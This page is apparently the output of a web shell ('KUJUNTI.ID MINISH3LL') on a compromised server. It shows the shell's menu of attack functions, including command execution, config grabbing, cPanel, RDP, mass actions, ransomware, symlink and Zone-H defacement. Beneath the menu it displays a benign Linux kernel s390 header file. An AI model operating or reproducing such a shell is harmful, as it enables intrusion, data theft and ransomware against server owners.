KUJUNTI.ID MINISH3LL
Path : /usr/lib/modules/6.8.0-71-generic/build/arch/s390/include/asm/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : //usr/lib/modules/6.8.0-71-generic/build/arch/s390/include/asm/module.h


/* SPDX-License-Identifier: GPL-2.0 */
#ifndef _ASM_S390_MODULE_H
#define _ASM_S390_MODULE_H

#include <asm-generic/module.h>

/*
 * This file contains the s390 architecture specific module code.
 */

struct mod_arch_syminfo {
	unsigned long got_offset;
	unsigned long plt_offset;
	int got_initialized;
	int plt_initialized;
};

struct mod_arch_specific {
	/* Starting offset of got in the module core memory. */
	unsigned long got_offset;
	/* Starting offset of plt in the module core memory. */
	unsigned long plt_offset;
	/* Size of the got. */
	unsigned long got_size;
	/* Size of the plt. */
	unsigned long plt_size;
	/* Number of symbols in syminfo. */
	int nsyms;
	/* Additional symbol information (got and plt offsets). */
	struct mod_arch_syminfo *syminfo;
#ifdef CONFIG_FUNCTION_TRACER
	/* Start of memory reserved for ftrace hotpatch trampolines. */
	struct ftrace_hotpatch_trampoline *trampolines_start;
	/* End of memory reserved for ftrace hotpatch trampolines. */
	struct ftrace_hotpatch_trampoline *trampolines_end;
	/* Next unused ftrace hotpatch trampoline slot. */
	struct ftrace_hotpatch_trampoline *next_trampoline;
#endif /* CONFIG_FUNCTION_TRACER */
};

#endif /* _ASM_S390_MODULE_H */

© KUJUNTI.ID